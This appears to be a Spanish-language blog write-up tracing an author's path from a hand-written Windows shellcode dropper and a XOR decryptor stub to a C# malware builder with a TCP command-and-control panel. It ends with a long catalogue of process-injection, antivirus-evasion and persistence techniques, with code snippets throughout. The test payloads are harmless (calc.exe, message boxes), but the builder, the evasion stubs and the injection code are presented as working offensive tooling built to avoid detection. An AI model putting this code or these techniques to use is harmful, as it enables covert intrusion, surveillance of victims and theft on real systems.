De la Shellcode Artesanal al C2 Builder: Anatomía de un Dropper y su Metamorfosis en Framework

Análisis de la creación de un dropper de shellcode en C puro y Assembly (WinExec/ExitProcess), el desarrollo de un stub criptográfico en NASM, la evolución hacia un constructor de malware con panel C2 en C#, y un compendio extenso de técnicas de inyección, evasión y persistencia en Windows.

/índice_de_técnicas +

01. Fase 1: El Arte de la Shellcode Artesanal (hace 3 años)

La filosofía del dropper manual

El punto de partida no fue un builder con interfaz gráfica, sino un dropper puro en C. El objetivo era claro: escribir una shellcode capaz de lanzar un ejecutable (calc.exe) y finalizar limpiamente el proceso llamando a WinExec y ExitProcess. No se trataba de evadir AV, sino de entender la anatomía de una shellcode: cómo se posiciona en memoria, cómo resuelve las direcciones de la API de Windows, y cómo se pasa el control al flujo de ejecución modificado.

El stub: De C a Assembly

Para generar los opcodes, primero escribimos la lógica en C estándar. Este archivo (stub_shellcode.c) sirve como molde conceptual para entender qué queremos que haga el código a bajo nivel.

// stub_shellcode.c // Código de referencia para la shellcode final #include <windows.h>   int main(void) {     WinExec("calc.exe", 0);     ExitProcess(0); }

A partir de este código, la tarea de ingeniería inversa consistió en traducir esto a Assembly NASM. Creamos stub_shellcode.asm, donde definimos manualmente la pila, pusheamos la cadena "calc.exe" en formato little-endian y configuramos los registros para la llamada a la API.

; stub_shellcode.asm (Fragmento clave) ; Construcción del string "calc.exe" en la pila xor ecx, ecx push ecx ; Null terminator push 0x6578652e ; "exe." (little-endian) push 0x636c6163 ; "calc" mov eax, esp ; EAX apunta a "calc.exe"
NOTA: Little-Endian en la práctica

Para pasar "calc.exe" a la pila en x86, es necesario invertir el orden de los bytes. La shellcode no usa APIs de alto nivel para strings; todo son bytes crudos empujados a mano. Esto es fundamental para que la shellcode sea independiente de la posición y no dependa de secciones de datos.

02. Resolución Dinámica de la API (GetProcAddress)

Para que nuestra shellcode funcione en diferentes versiones de Windows (o con diferentes parches), no podemos hardcodear las direcciones de WinExec o ExitProcess. Aquí entra en juego la técnica de resolución dinámica en tiempo de ejecución.

Obtención de la dirección base de kernel32.dll

Utilizamos GetModuleHandle("kernel32.dll") para obtener la dirección base en memoria de la DLL. Kernel32 es la piedra angular de la API de Windows y siempre está cargada en el espacio de memoria de los procesos de usuario. A diferencia del PEB (Process Environment Block) walking en shellcode pura, aquí aprovechamos que el dropper es un ejecutable compilado y podemos usar la API de Windows antes de saltar al código malicioso.

La herejía del formateo en el arreglo

Una vez que tenemos las direcciones winexec_addr y exitprocess_addr, debemos parcharlas dentro de nuestro arreglo de shellcode. Aquí nos enfrentamos a un detalle técnico crucial: el procesador x86 es little-endian. Si la función GetProcAddress nos devuelve una dirección como 0xAF5477FF, debemos guardarla en el arreglo de shellcode como 0xFF, 0x77, 0x54, 0xAF.

Para ello, aplicamos máscaras de bits y desplazamientos para extraer cada byte de la dirección y colocarlo en la posición correcta del arreglo. Esta técnica es la que permite que el call ebx de nuestra shellcode aterrice en la dirección correcta de WinExec. Es un error común en principiantes olvidar este paso y terminar con una shellcode que salta a direcciones de memoria corruptas, provocando un crash inmediato.

// Fragmento de misc.c: Parcheo de la shellcode // Invertimos los bytes para cumplir con little-endian shellcode[18+1] = (*winexec_addr & 0x000000FF); shellcode[18+2] = (*winexec_addr & 0x0000FF00) >> 8; shellcode[18+3] = (*winexec_addr & 0x00FF0000) >> 16; shellcode[18+4] = (*winexec_addr & 0xFF000000) >> 24;

03. El Arte del Despliegue: Punteros a Función

El archivo run.c contiene el mecanismo de lanzamiento. Declaramos un puntero a función (int(*func)()) y le asignamos la dirección de memoria de nuestro arreglo shellcode.

Al hacer el casting func = (int(*)())shellcode; y posteriormente llamar a func(), estamos obligando al procesador a saltar a nuestra región de datos y ejecutar esos bytes como si fueran código. Esto es la esencia de un dropper: no hay inyección en otro proceso, solo ejecución directa.

Sin embargo, esta técnica tiene una limitación importante: la región de memoria donde reside el arreglo debe tener permisos de ejecución. En sistemas modernos con DEP (Data Execution Prevention) habilitado, esto requeriría un paso previo con VirtualProtect para marcar la página de memoria como ejecutable. En su momento, la PoC se probó en un entorno controlado sin DEP para validar la lógica de la shellcode antes de añadir esa capa de evasión.

Diferenciación: Dropper vs Exploit

Esta técnica es un "dropper". No estamos secuestrando el registro EIP mediante un buffer overflow. Simplemente estamos cargando un arreglo de bytes ejecutables en memoria y redirigiendo el flujo de ejecución hacia él. Es una técnica más ruidosa pero más controlada. En un exploit real, la shellcode se inyecta en otro proceso o se ejecuta tras corromper la pila.

04. Ofuscación Avanzada: El Stub Criptográfico en NASM

Mientras el builder en C# resolvía el problema de la generación de payloads, surgió una cuestión más fundamental: ¿cómo proteger la shellcode en reposo? A finales de 2025, me planteé crear un stub descifrador en Assembly puro. La idea era simple: la shellcode real viaja cifrada (con un esquema de claves dinámicas), y un pequeño stub en NASM se encarga de descifrarla en tiempo de ejecución antes de saltar a ella. El objetivo era doble: evadir firmas estáticas y añadir una capa de ofuscación que complicara el análisis forense.

El payload de prueba (Linux x86)

Para esta prueba de concepto, utilicé un payload mínimo que ejecuta una syscall de salida en Linux (exit(10+22)). La shellcode en bruto es la siguiente:

// Shellcode: mov ebx, 10; add ebx, 22; mov eax, 1; int 0x80 static unsigned char raw[] = {     0xBB, 0x0A, 0x00, 0x00, 0x00,     0x83, 0xC3, 0x16,     0xB8, 0x01, 0x00, 0x00, 0x00,     0xCD, 0x80,     0x90 // NOP padding };

La lógica de descifrado (Bloques XOR con mutación)

El stub en NASM utiliza un algoritmo de descifrado por bloques. En lugar de un simple XOR estático, implementé una mezcla de operaciones para cada bloque de 4 bytes: A ^ B + (C - 1) - (D + 1). Los datos cifrados se almacenan en la sección .data y el stub reserva un buffer en .bss.

La lógica es particularmente interesante porque no depende de constantes fijas globales; cada bloque tiene su propio conjunto de claves (A, B, C, D), lo que permite generar un stub personalizado para cada payload, dificultando la creación de firmas estáticas por parte de los AV. La elección de las operaciones (XOR, decremento, incremento, resta) no es arbitraria: se busca una mezcla de operaciones aritméticas y lógicas que no sea trivial de simplificar por un motor de análisis estático.

; ASM resultante del stub descifrador decode_loop:     mov eax, [esi] ; A     mov ebx, [esi+4] ; B     mov edx, [esi+8] ; C     mov ebp, [esi+12] ; D     xor eax, ebx ; A ^ B     dec edx ; C - 1     add eax, edx ; + (C-1)     inc ebp ; D + 1     sub eax, ebp ; - (D+1)     mov [edi], eax ; Escribir opcode restaurado     jmp decoded_buffer ; Transferencia de control al payload
Advertencia de portabilidad

Este stub está escrito para la convención de syscalls de Linux x86 (int 0x80). La diferencia clave con el mundo Windows es el uso de interrupciones de software vs. llamadas a la API kernel32. Sin embargo, la técnica de descifrado XOR por bloques es completamente portable a Windows si se ajusta la shellcode objetivo y se reemplaza la syscall de salida por una llamada a ExitProcess.

05. Fase 2: BugBuilder — Automatización y C2 (hace 2 años)

La shellcode manual era poderosa pero impráctica para operaciones a gran escala. La evolución lógica fue BugBuilder, un proyecto en C# (.NET Framework) que traslada el concepto de dropper a un entorno de construcción visual con panel de control.

El motor de compilación interno: Roslyn y CodeDOM

Uno de los mayores desafíos técnicos fue generar un ejecutable sin tener un compilador externo instalado. La solución residió en incrustar el compilador de C# dentro del builder. Para ello, se evaluaron dos enfoques:

El código fuente de la carga útil se mantenía como un recurso embebido en el ensamblado, y se reemplazaban marcadores de posición (placeholders) con las configuraciones del usuario (IP, puerto, métodos de ofuscación) antes de la compilación. Esto permitía generar un binario único para cada campaña sin necesidad de herramientas externas.

Arquitectura del proyecto

BugBuilder se divide en dos componentes principales:

El protocolo de comunicación TCP

A diferencia del dropper original que solo ejecutaba calc.exe, BugBuilder establece un canal de persistencia. El cliente malicioso se conecta al servidor, serializa un objeto ModelInfo a JSON y lo envía. La elección de JSON sobre formatos binarios fue pragmática: facilita la depuración, es legible por humanos durante el desarrollo, y es trivial de parsear en ambos extremos con Newtonsoft.Json.

// Estructura del dato exfiltrado (ModelInfo) public class ModelInfo {     public string ip { get; set; }     public string country { get; set; }     public string user_pc { get; set; }     public bool status { get; set; }     public string operatingSystem { get; set; }     public int ping { get; set; } }   // Envío al servidor string json = JsonConvert.SerializeObject(modelInfo); stream.Write(Encoding.UTF8.GetBytes(json), 0, json.Length);

El Panel de Control (C2)

El operador utiliza una ventana con pestañas:

Evidencia de madurez técnica

La inclusión de opciones como LZMA, GZip, Huffman, o diferentes esquemas de cifrado demuestran una transición desde una PoC académica a una herramienta orientada a operaciones que enfrenta entornos defendidos por firewalls e IDS. La variabilidad del payload es clave para evadir firmas estáticas. Este mismo principio de variabilidad se aplica en el triage automatizado con analystty, donde la detección de TTPs debe adaptarse a payloads ofuscados.

06. Bitácora de Desarrollo: De la Idea al GridView

La construcción del builder no fue un proceso lineal. Rescatando los registros de chat originales, se puede trazar la evolución del pensamiento técnico:

La semilla de la idea (Enero 2024)

El problema inicial era claro: generar un .exe sin un compilador externo. La solución consistió en incrustar todo lo necesario dentro del ensamblado del builder, utilizando el compilador de C# en memoria y manteniendo el código fuente de la carga útil como strings de recursos.

// Log: 23/1/24 5:42 a. m. "Lo primero que logre hacer, fue un modulo que genere un .exe sin necesidad de que se tenga un compilador instalado ni las fuentes, todo esta dentro del Builder."

El siguiente paso fue diseñar la UI. La meta era una interfaz modular donde el usuario pudiera personalizar cada aspecto del binario de salida, desde el ícono hasta los métodos de ofuscación del tráfico. La arquitectura de compilación interna (CodeDOM) fue clave para esta etapa.

La conexión con el C2

Una vez generado el .exe, debía reportar a casa. La decisión técnica fue utilizar un formato de serialización ligero (JSON) sobre TCP. Se implementó un modelo de datos (ModelInfo) para mapear la información de la víctima (IP, país, hostname, SO, ping) y visualizarla en un GridView.

// Log: 24/1/24 11:15 p. m. "Me hice un cliente provisional para debuggear, de momento se me ocurre enviar todo como un JSON y al llegar al Servidor (o viceversa) mappearlo a un objeto xd"   "Lo que creo que voy a necesitar es una flag para indicar el tipo de configuracion y evaluar si amerita decodificado, descompresion o desencriptado xd"
El problema de las "flags"

La necesidad de una flag para evaluar el pipeline de procesamiento demuestra una comprensión temprana de los protocolos de comunicación maliciosa avanzados. No es suficiente enviar datos; el binario y el servidor deben negociar si el tráfico está codificado, comprimido o cifrado, tal como se ve en la UI final con las opciones de Encode/Compress/Encrypt. Esta negociación es lo que permite que el C2 sea flexible y resistente a cambios en las defensas del target.

La trampa del "todo en strings"

En septiembre de 2024, reflexioné sobre la arquitectura del builder. La primera iteración almacenaba todo el código fuente del payload como strings literales en los recursos, con las herramientas de compilación incrustadas. Este enfoque, aunque funcional, era frágil: cualquier cambio en la lógica del payload requería modificar cadenas largas y propensas a errores de sintaxis. La lección fue que el builder debía ser más modular, con plantillas parametrizables en lugar de código fuente hardcodeado.

// Log: 16/9/24 11:15 p. m. "Es que pensé que era como un builder, la última vez que intenté hacer un builder opte por dejar todo el código en string y las herramientas de compilación en el resources"

07. Galería de la UI: Anatomía de BugBuilder

Las siguientes imágenes documentan el estado final de la PoC. Representan la materialización de los conceptos discutidos en la bitácora: un generador de payloads con su propio panel de comando y control.

Interfaz de Construcción (Builder)

Pestaña Builder de BugBuilder mostrando configuración de red, ofuscación y entrega del payload
bugbuilder-0.png — Pestaña Builder. Se observa la configuración de red (Host, Puerto 3323), las opciones de Encode Traffic (Base64, XOR), Compress Traffic (Deflate, GZip, LZW, Huffman, RLE, LZMA) y Encrypt Traffic (AES, RSA). En la parte inferior, la sección Set Up Delivery permite asignar nombre al archivo ("Bug") y seleccionar un ícono de camuflaje. El botón "Build" inicia la generación del ejecutable malicioso utilizando el compilador interno CodeDOM.

Panel de Control Vacío (Infected)

Pestaña Infected de BugBuilder sin conexiones, mostrando las columnas del grid
bugbuilder-1.png — Pestaña Infected en estado inicial. La grilla está vacía, esperando conexiones entrantes. Las columnas definen la información que se extraerá de las víctimas: IP, Country, User@PC, Status, Operating System y Ping (ms). Esta vista representa el panel de Comando y Control (C2) antes de que el payload sea desplegado.

Conexión Exitosa (C2 Activo)

BugBuilder en funcionamiento con un cliente conectado desde Venezuela
bugbuilder-2.png — Prueba de concepto en funcionamiento. El servidor escucha en 0.0.0.0:3323. Se ha recibido una conexión de un cliente de prueba: IP 192.168.1.10, País Venezuela, Hostname DESKTOP-ABCDE, Sistema Operativo Windows 10, con un ping de 45 ms. En la ventana de fondo se aprecia la consola del cliente de pruebas (ClientTCPTest.exe) ejecutándose, simulando la máquina víctima. Esta captura valida la arquitectura completa del proyecto.

08. Conclusión: Del Byte al Framework

La progresión de winshellcode- a BugBuilder representa un arco de aprendizaje fundamental en el desarrollo de software de seguridad ofensiva. Se pasó de entender la microarquitectura de una pila de llamadas a abstraer esa lógica en una fábrica de binarios.

Tabla comparativa de la evolución

Característica winshellcode- (Fase 1) Stub Cripto (Fase 2) BugBuilder (Fase 3)
Lenguaje C + Assembly (NASM) Assembly (NASM) C# (.NET Framework)
Payload Shellcode fija (calc.exe) Shellcode variable descifrada Payload configurable con persistencia
Ofuscación Opcodes en bruto XOR multibloque con llaves Compresión, Cifrado (AES/RSA), Iconos camuflaje
Comunicación Ninguna (Ejecuta y termina) Ninguna C2 TCP bidireccional con JSON
Resolución API Manual (GetProcAddress + parcheo little-endian) Syscalls directas (int 0x80) Automática (.NET P/Invoke o Referencias)
Generación de binario Compilación externa (GCC) Ensamblador externo (NASM) Compilación interna (CodeDOM / Roslyn)

El primer proyecto nos enseñó el valor de la precisión manual: saber exactamente qué bytes ocupa una instrucción y cómo la pila afecta al flujo. El segundo proyecto añadió la capa de protección de la carga útil, entendiendo que la shellcode en reposo es la parte más vulnerable del ciclo de vida de un payload. Finalmente, BugBuilder operacionalizó ese conocimiento, convirtiendo un arte técnico en una herramienta modular lista para entornos hostiles, donde la capacidad de regenerar binarios con firmas diferentes es la diferencia entre el éxito y la detección.

09. Classic Code Injection into the Process

Consiste en introducir código malicioso en un proceso legítimo en ejecución, lo que permite al atacante secuestrar el proceso y utilizarlo para sus propios fines. En términos generales, la técnica consiste en:

Mecanismos defensivos y sus evasiones:

Para explicar esta técnica, analizamos el concepto general: "encontrar un espacio de la memoria de un proceso (en este caso, el mismo proceso) y escribir sobre él".

// Classic code injection - Proceso propio unsigned char my_payload[] = ""; unsigned int my_payload_len = sizeof(my_payload);   int main(void) {     void* my_payload_mem;     BOOL rv;     HANDLE th;     DWORD oldprotect = 0;       my_payload_mem = VirtualAlloc(0, my_payload_len,         MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);     rv = VirtualProtect(my_payload_mem, my_payload_len,         PAGE_EXECUTE_READ, &oldprotect);     if(rv != 0) {         th = CreateThread(0, 0,             (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);         WaitForSingleObject(th, -1);     }     return 0; }

Ahora pivotamos a un proceso distinto (ej. calc.exe) usando OpenProcess, VirtualAllocEx, WriteProcessMemory y CreateRemoteThread. La memoria se asigna directamente en el espacio de direcciones del proceso objetivo con permisos de ejecución.

10. Classic DLL Injection into the Process

Consiste en cargar una DLL maliciosa en un proceso legítimo. El flujo es: localizar la DLL, crear un hilo en el proceso destino, asignar memoria para almacenar la ruta de la DLL, cargar la DLL mediante LoadLibraryA, y ejecutar su punto de entrada (DllMain).

// dllmain.cpp - DLL maliciosa de ejemplo #include "pch.h" BOOL APIENTRY DllMain(HMODULE hModule,     DWORD nReason, LPVOID lpReserved) {     switch (nReason) {     case DLL_PROCESS_ATTACH:         MessageBox(NULL,             (LPCWSTR)L"Meow from DLL!",             (LPCWSTR)L"=^..^=", MB_OK);         break;     }     return TRUE; }
NOTA: DLL Hijacking en Windows 10

En teoría, para realizar DLL hijacking solo debemos aprovechar la jerarquía de búsqueda de las DLL. Sin embargo, las pruebas en Windows 10 moderno no funcionan debido a protecciones como Known DLLs y mitigaciones de búsqueda de DLL.

11. Find Process ID by Name and Inject to It

Lógica necesaria para encontrar procesos por nombre e inyectarlos usando CreateToolhelp32Snapshot y Process32First/Next.

int findMyProc(const char* procname) {     HANDLE hSnapshot;     PROCESSENTRY32 pe;     int pid = 0;     BOOL hResult;     hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     if (INVALID_HANDLE_VALUE == hSnapshot) return 0;     pe.dwSize = sizeof(PROCESSENTRY32);     hResult = Process32First(hSnapshot, &pe);     while(hResult) {         if (strcmp(procname,             (const char*)pe.szExeFile) == 0) {             pid = pe.th32ProcessID;             break;         }         hResult = Process32Next(hSnapshot, &pe);     }     CloseHandle(hSnapshot);     return pid; }

12. Windows Shellcoding 1

Patrón fundamental de ejecución de shellcode mediante punteros a función. Este es exactamente el mecanismo que usamos en el dropper original:

char code[] = "my shellcode here"; int main(int argc, char **argv) {     int (*func)();     func = (int(*)()) code;     (int)(*func)();     return 1; }

Se incluye un script auxiliar en Python para revertir strings y convertirlos a hexadecimal en formato little-endian, necesario para construir la shellcode.

import sys input = sys.argv[1] chunks = [input[i:i+4] for i in range(0, len(input), 4)] for chunk in chunks[::-1]:     print(chunk[::-1].encode("utf-8").hex())

13. Windows Shellcoding 2 — PEB y TEB

Cada vez que ejecutamos cualquier archivo .exe, lo primero que se crea en el sistema operativo son las estructuras PEB (Process Environment Block) y TEB (Thread Environment Block). El PEB contiene información necesaria para el funcionamiento del proceso, mientras que cada hilo tiene su propio TEB.

Cuando escribimos en ASM, podemos recorrer la estructura PEB → LDR y encontrar la dirección de kernel32.dll para cargarla en nuestro shellcode sin usar GetModuleHandle:

; Encontrar kernel32.dll via PEB mov eax, [fs:ecx + 0x30] ; Desplazamiento a PEB mov eax, [eax + 0xc] ; Desplazamiento a LDR mov eax, [eax + 0x14] ; InMemoryOrderModuleList mov eax, [eax] ; 1er módulo (nuestro .exe) mov eax, [eax] ; 2do módulo (ntdll.dll) mov eax, [eax + 0x10] ; 3er módulo (kernel32.dll)

14. Windows Shellcoding 3 — PE File Structure

Un archivo PE es el formato nativo de Win32, análogo a los COFF de Unix. Su estructura incluye:

15. APC Injection Technique (Early Bird)

La técnica Early Bird aprovecha QueueUserAPC para poner en cola un APC (Asynchronous Procedure Call) en un hilo específico. La descripción de alto nivel es:

  1. Crear un proceso legítimo con el flag CREATE_SUSPENDED.
  2. Asignar memoria para la carga útil en el espacio del nuevo proceso.
  3. Declarar la rutina APC que apunta al código shellcode.
  4. Reanudar el hilo principal para que ejecute el APC antes de comenzar su ejecución normal.

APC Injection via NtTestAlert

NtTestAlert es una syscall no documentada que comprueba si hay APC pendientes en el hilo actual y los ejecuta. Antes de que cualquier hilo comience a ejecutarse, su dirección de inicio Win32 llama a NtTestAlert para ejecutar cualquier APC pendiente. Podemos aprovechar esto para desencadenar la ejecución de nuestra carga útil sin necesidad de un hilo remoto en otro proceso.

APC Injection via Alertable Threads

Esta variante encuentra todos los subprocesos del proceso destino y pone en cola un APC a todos ellos, maximizando la probabilidad de ejecución.

16. Code Injection via Thread Hijacking

El secuestro de un proceso se logra suspendiendo un proceso existente y luego desasignando o vaciando su memoria, que luego se puede reemplazar con código malicioso. Los pasos clave son:

  1. Crear un identificador para un proceso víctima existente.
  2. Suspender el proceso con SuspendThread.
  3. Obtener el contexto del hilo con GetThreadContext (incluye el registro de instrucciones RIP).
  4. Modificar ct.Rip = (DWORD_PTR)rb para que apunte a nuestra shellcode.
  5. Establecer el contexto modificado con SetThreadContext.
  6. Reanudar el hilo con ResumeThread.

17. Classic DLL Injection via SetWindowsHookEx

SetWindowsHookEx permite instalar hooks de sistema global. Al configurar un hook de teclado global (WH_KEYBOARD) y especificar una función callback que reside en nuestra DLL maliciosa, obligamos al sistema a cargar la DLL en el espacio de direcciones de los procesos que reciben mensajes de teclado. Los sistemas modernos bloquean esta técnica usando CFG (Control Flow Guard) y CIG (Code Integrity Guard).

// DLL exportada extern "C" __declspec(dllexport) int Meow() {     MessageBox(NULL,         (LPCWSTR)L"Meow meow",         (LPCWSTR)L"=^..^=", MB_OK);     return 0; }   // Configuración del hook global HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,     (HOOKPROC)meowFunc, meowDll, 0);

18. Code Injection via Windows Fibers

Windows Fibers es una API que permite crear hilos de ejecución ligeros. Son más eficientes que los hilos del sistema pero menos seguros al no estar protegidos con las características de los hilos del sistema. La técnica consiste en:

  1. Convertir el hilo actual en un Fiber con ConvertThreadToFiber(NULL).
  2. Asignar memoria para el código malicioso con VirtualAlloc.
  3. Crear una nueva Fiber con CreateFiber apuntando al código.
  4. Cambiar el contexto de ejecución con SwitchToFiber.

19. Windows API Hooking

El API hooking es una técnica mediante la cual interceptamos y modificamos el comportamiento de las llamadas a la API. Consiste en reemplazar los primeros 5 bytes de la función original con una instrucción JMP relativo (\xE9) que redirige a nuestra función personalizada. Debemos almacenar los bytes originales para poder restaurar la función cuando sea necesario.

Un segundo método utiliza push + ret (\x68 + dirección + \xC3) para redirigir la ejecución a nuestra función, en lugar del salto relativo.

20. DLL Injection via Undocumented NtCreateThreadEx

Esta técnica utiliza la función no documentada NtCreateThreadEx de ntdll.dll, que permite indicar el tamaño de la pila y otras flags de creación dándole más flexibilidad que CreateRemoteThread. Al no estar documentada y no exportarse de la biblioteca de importación de kernel32.dll, es más sigilosa que las técnicas tradicionales.

21. Code Injection via Memory Sections (NtCreateSection)

Una sección es un bloque de memoria que se comparte entre procesos, creado mediante la API NtCreateSection. La técnica implica:

  1. Crear una sección de memoria compartida con NtCreateSection.
  2. Mapear la sección en el proceso local con NtMapViewOfSection.
  3. Mapear la misma sección en el proceso objetivo (solo lectura).
  4. Copiar el payload en la sección local (se refleja en la remota).
  5. Crear un hilo remoto con RtlCreateUserThread.
  6. Desmapear con ZwUnmapViewOfSection.

22. Code Injection via ZwQueueApcThread

Similar a la técnica APC estándar pero usando ZwQueueApcThread en lugar de QueueUserAPC. Combina la creación de secciones de memoria compartida con ZwCreateSection y el encolado de APC usando la función nativa de ntdll.dll. Se utiliza ZwSetInformationThread con THREADINFOCLASS 1 para forzar que el hilo se vuelva alertable.

23. Process Injection via KernelCallbackTable

KernelCallbackTable es una tabla de punteros a funciones que se utiliza para registrar controladores de eventos del kernel. Al inyectar código en esta tabla, un atacante puede reemplazar un controlador de eventos existente por uno propio. Cuando se produce el evento, se llamará al controlador malicioso, permitiendo ejecutar código arbitrario en el contexto del proceso objetivo.

24. Process Injection via RWX Memory Hunting

Esta técnica busca regiones de memoria con permisos RWX (Read-Write-Execute) en el espacio de memoria del proceso objetivo usando VirtualQueryEx. Una vez encontrada una región RWX, escribe directamente la shellcode allí y crea un hilo remoto. Esto evita la necesidad de llamar a VirtualAllocEx, reduciendo la huella de llamadas sospechosas.

25. Process Injection via FindWindow

Utiliza FindWindow para localizar el identificador de ventana (HWND) del proceso objetivo. Luego de obtener el HWND, se usa GetWindowThreadProcessId para obtener el PID y proceder con la inyección estándar.

VM Evasion via FindWindow

Variante de evasión de máquinas virtuales que busca ventanas específicas de VirtualBox (VBoxTrayToolWndClass, VBoxTrayToolWnd) para detectar si se está ejecutando en un entorno virtualizado y condicionar la ejecución del payload.

26. Download and Inject Logic

Técnica para descargar carga útil o DLL maliciosa desde una URL usando HTTP (WinInet). El beneficio es que se puede usar detrás de redes que filtran todo tráfico excepto HTTP, e incluso puede funcionar a través de un proxy preconfigurado.

El flujo es: abrir sesión HTTP con InternetOpen, descargar el archivo con InternetOpenUrl e InternetReadFile, guardarlo localmente con CreateFile/WriteFile, y luego inyectarlo usando la técnica clásica de DLL injection.

27. Run Shellcode via EnumDesktopsA / EnumChildWindows

Estas técnicas aprovechan funciones de enumeración de la API de Windows que aceptan un callback como parámetro. Al pasar la dirección de nuestra shellcode como función de callback, el sistema la ejecutará en el contexto del proceso actual:

28. AV Engines Evasion: XOR Encryption

La técnica de evasión usando XOR para cifrar/descifrar aplica una operación XOR byte a byte entre la shellcode y una clave secreta. El proceso es:

  1. Cifrado: Se toma la shellcode (arreglo de opcodes), se selecciona una clave aleatoria, y se aplica XOR bit a bit a cada byte.
  2. Descifrado en tiempo de ejecución: Se aplica la misma clave XOR al arreglo cifrado antes de copiarlo a memoria ejecutable.
void XOR(char* data, size_t data_len,     char* key, size_t key_len) {     int j = 0;     for (int i = 0; i < data_len; i++) {         if (j == key_len - 1) j = 0;         data[i] = data[i] ^ key[j];         j++;     } }

Se incluye un script en Python para automatizar el proceso: cifrar la shellcode, reemplazar el placeholder en la plantilla C++, y compilar con MinGW.

29. Hiding Function Calls with XOR Encryption

Esta técnica aplica XOR al nombre de funciones API como VirtualAlloc para que no aparezcan como strings legibles en el binario. En tiempo de ejecución, se descifra el nombre, se obtiene la dirección con GetProcAddress, y se asigna a un puntero de función para su uso.

30. API Hashing for AV Evasion

El hashing de funciones API implica convertir el nombre de la función en un valor hash único y usar ese hash en lugar del nombre real. El procedimiento es:

  1. Cargar la DLL con LoadLibrary.
  2. Recorrer la tabla de exportación de la DLL.
  3. Calcular el hash de cada nombre de función exportada.
  4. Comparar con el hash pre-calculado de la función deseada.
  5. Si coincide, obtener la dirección de la función y usarla.

Esto evita que strings como "VirtualAlloc" o "CreateThread" aparezcan en el binario, eludiendo firmas estáticas.

31. Persistence Techniques

Registry Run Keys

Modificar las claves de ejecución del registro para que el código malicioso se ejecute automáticamente al iniciar el sistema o al iniciar sesión el usuario:

Screensaver Hijack

Reemplazar el salvapantallas legítimo por uno malicioso modificando las claves de registro:

COM DLL Hijack

Sustituir una DLL legítima de un objeto COM por una maliciosa. La clave de registro para un objeto COM específico se encuentra en:

Windows Services

Los servicios de Windows se ejecutan en segundo plano sin interfaz gráfica. La persistencia se logra creando un nuevo servicio con inicio automático o modificando un servicio existente para que apunte a un binario malicioso.

AppInit_DLLs

La clave AppInit_DLLs permite especificar una lista de DLLs que se cargarán automáticamente en el espacio de direcciones de casi todas las aplicaciones cuando se inician. Requiere altos privilegios.

Netsh Helper DLL

Netsh puede cargar DLLs auxiliares. Al registrar una DLL maliciosa como helper de Netsh, esta se cargará cada vez que se ejecute la herramienta. La DLL debe exportar la función InitHelperDll.

Winlogon

Modificar las claves de Winlogon para ejecutar código malicioso al iniciar sesión:

Port Monitors

Los monitores de puerto del servicio de cola de impresión (spoolsv.exe) pueden ser reemplazados por una DLL maliciosa que se cargará en el contexto de este servicio del sistema. La clave de registro es:

/¿Querés ver estas técnicas aplicadas en un caso real?

Las técnicas de inyección, API Hashing y persistencia documentadas aquí son las mismas que enfrenté al analizar el dropper multi-etapa con analystty y al deconstruir campañas reales de NetSupport RAT y Lumma Stealer.